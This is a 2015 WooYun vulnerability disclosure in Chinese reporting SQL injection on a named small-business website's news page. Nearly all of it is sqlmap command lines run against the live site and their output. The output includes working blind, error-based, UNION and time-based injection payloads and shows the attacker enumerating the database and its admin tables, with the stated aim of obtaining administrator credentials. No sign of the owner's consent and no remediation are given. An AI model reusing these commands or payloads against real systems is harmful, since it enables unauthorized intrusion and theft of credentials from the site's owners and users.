当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105437

漏洞标题:独立控制面板某站存在SQL注入漏洞

相关厂商:独立控制面板

漏洞作者: 路人甲

提交时间:2015-04-03 16:10

修复时间:2015-05-18 16:12

公开时间:2015-05-18 16:12

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:2

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

新闻中心页面存在SQL注入漏洞,可得到管理员账号密码

详细说明:

http://gaofengsg.gotoip3.com/news_display.php?id=9

漏洞证明:

root@kali:~# sqlmap -u http://gaofengsg.gotoip3.com/news_display.php?id=9 --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:13:32
[17:13:34] [INFO] testing connection to the target URL
[17:13:43] [INFO] testing if the target URL is stable. This can take a couple of seconds
[17:13:50] [INFO] target URL is stable
[17:13:50] [INFO] testing if GET parameter 'id' is dynamic
[17:13:56] [INFO] confirming that GET parameter 'id' is dynamic
[17:14:03] [INFO] GET parameter 'id' is dynamic
[17:14:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[17:14:09] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] y
[17:14:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:14:40] [WARNING] reflective value(s) found and filtering out
[17:15:05] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:15:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[17:15:11] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[17:15:11] [INFO] testing 'MySQL inline queries'
[17:15:12] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:15:12] [WARNING] time-based comparison requires larger statistical model, please wait...................
[17:16:59] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[17:17:05] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[17:17:11] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:17:22] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[17:17:33] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[17:17:42] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[17:17:45] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'
[17:18:52] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 OR time-based blind' injectable
[17:18:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[17:18:52] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:19:04] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:19:48] [INFO] target URL appears to have 21 columns in query
[17:20:19] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 51 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=9 AND 5278=5278
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=9 AND (SELECT 7996 FROM(SELECT COUNT(*),CONCAT(0x7176616871,(SELECT (CASE WHEN (7996=7996) THEN 1 ELSE 0 END)),0x7169767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 21 columns
Payload: id=9 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176616871,0x44746654676756584f57,0x7169767a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: id=-7198 OR 8142=SLEEP(5)
---
[17:21:11] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[17:21:11] [INFO] fetching current database
current database: 'gaofengsg'
[17:21:18] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/gaofengsg.gotoip3.com'
[*] shutting down at 17:21:18
root@kali:~# sqlmap -u http://gaofengsg.gotoip3.com/news_display.php?id=9 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:21:25
[17:21:26] [INFO] resuming back-end DBMS 'mysql'
[17:21:28] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=9 AND 5278=5278
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=9 AND (SELECT 7996 FROM(SELECT COUNT(*),CONCAT(0x7176616871,(SELECT (CASE WHEN (7996=7996) THEN 1 ELSE 0 END)),0x7169767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 21 columns
Payload: id=9 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176616871,0x44746654676756584f57,0x7169767a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: id=-7198 OR 8142=SLEEP(5)
---
[17:21:36] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[17:21:36] [INFO] fetching database names
[17:21:42] [INFO] the SQL query used returns 2 entries
[17:21:48] [INFO] retrieved: "information_schema"
[17:21:54] [INFO] retrieved: "gaofengsg"
available databases [2]:
[*] gaofengsg
[*] information_schema
root@kali:~# sqlmap -u http://gaofengsg.gotoip3.com/news_display.php?id=9 -D gaofengsg --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:24:00
[17:24:00] [INFO] resuming back-end DBMS 'mysql'
[17:24:02] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=9 AND 5278=5278
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=9 AND (SELECT 7996 FROM(SELECT COUNT(*),CONCAT(0x7176616871,(SELECT (CASE WHEN (7996=7996) THEN 1 ELSE 0 END)),0x7169767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 21 columns
Payload: id=9 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176616871,0x44746654676756584f57,0x7169767a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: id=-7198 OR 8142=SLEEP(5)
---
[17:24:10] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[17:24:10] [INFO] fetching tables for database: 'gaofengsg'
[17:24:16] [INFO] the SQL query used returns 13 entries
[17:24:22] [INFO] retrieved: "admin_authority"
[17:24:28] [INFO] retrieved: "admin_login"
[17:24:35] [INFO] retrieved: "admininfo"
[17:24:41] [INFO] retrieved: "advanced"
[17:24:47] [INFO] retrieved: "big_class"
[17:24:53] [INFO] retrieved: "count"
[17:25:00] [INFO] retrieved: "files"
[17:25:06] [INFO] retrieved: "info"
[17:25:12] [INFO] retrieved: "information1"
[17:25:19] [INFO] retrieved: "ip"
[17:25:25] [INFO] retrieved: "message"
[17:25:26] [INFO] retrieved: "sec_class"
[17:25:32] [INFO] retrieved: "third_class"
Database: gaofengsg
[13 tables]
+-----------------+
| count |
| admin_authority |
| admin_login |
| admininfo |
| advanced |
| big_class |
| files |
| info |
| information1 |
| ip |
| message |
| sec_class |
| third_class |
+-----------------+

修复方案:

我是菜鸟

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝